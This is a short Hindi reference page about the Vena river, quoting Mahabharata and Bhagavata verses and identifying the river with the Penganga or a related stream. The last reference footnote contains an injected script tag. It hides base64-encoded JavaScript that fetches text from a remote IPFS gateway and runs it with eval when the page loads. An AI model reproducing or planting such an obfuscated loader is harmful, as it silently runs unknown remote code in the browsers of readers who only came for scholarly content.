वेणा नदी
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
वेणा नामक एक नदी का उल्लेख महाभारत, सभापर्व में हुआ है-
'स विजित्य दुराधर्ष भीष्मकं माद्रिनंदनः कोसलाधिपं चैव तथा वेणातटाघिप।'[1]
'वेणा भीमरथी चैव नद्यौ पापभयापहे, मृगद्विजसमाकीर्णे तापसालयभूपिते।'[2]
- इस नदी का, जिसका उल्लेख भीमरथी या भीमा के साथ है, अभिज्ञान पेनगंगा से किया गया है।
- पेनगंगा भीमा के समान ही सह्याद्रि से निकलकर पूर्व समुद्र में गिरती है।
- महाभारत में वेणा-समुद्र संगम को पवित्र स्थली बताया गया है-
'वेणायाः संगमे स्नात्वा वाजिमेघफलं लभेत्।'[3]
- संभवतः इस नदी को ही श्रीमद्भागवत[4] में 'वेण्या' कहा गया है-
'तुंगभद्राकृष्णावेण्याभीमरथीगोदावरी।"
यहाँ भी इसका भीमरथी के साथ उल्लेख है। यह 'वेनगंगा' या 'प्रवेणी' भी हो सकती है।[5]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ महाभारत, सभापर्व 31,12
- ↑ महाभारत, वनपर्व 88,3
- ↑ महाभारत, वनपर्व 85,34
- ↑ श्रीमद्भागवत 5,19,18
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 872 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>